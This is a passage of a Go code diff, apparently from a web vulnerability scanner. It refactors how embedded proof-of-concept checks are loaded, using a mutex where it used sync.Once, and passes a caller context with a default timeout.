( //go:embed pocs var pocsFS embed.FS var ( - once sync.Once - allPocs []*lib.Poc - cachedPocPath string // 缓存POC路径,用于initPocs + pocMu sync.Mutex + pocLoaded bool + allPocs []*lib.Poc + cachedPocPath string ) // WebScan 执行Web漏洞扫描 -func WebScan(info *common.HostInfo, cfg *common.Config) { +func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config) { // 初始化POC配置(用于CEL回调函数) lib.InitPOCConfig(cfg.DNSLog) - // 缓存POC路径供initPocs使用 - cachedPocPath = cfg.POC.PocPath - - // 初始化POC - once.Do(initPocs) + // 加载POC(互斥保护,避免并发 race) + pocMu.Lock() + if !pocLoaded { + cachedPocPath = cfg.POC.PocPath + initPocs() + if len(allPocs) > 0 { + pocLoaded = true + } + } + pocMu.Unlock() // 验证输入 if info == nil { @@ -74,9 +80,12 @@ func WebScan(info *common.HostInfo, cfg *common.Config) { return } - // 使用带超时的上下文 - ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout) - defer cancel() + // 超时兜底:如果调用方 ctx 没有 deadline,加一个默认超时 + if _, hasDeadline := ctx.Deadline(); !hasDeadline { + var cancel context.CancelFunc + ctx, cancel = context.WithTimeout(ctx, defaultTimeout) + defer cancel() + } // 根据扫描策略执行POC if cfg.POC.PocName == "" && len(info.Info) == 0 {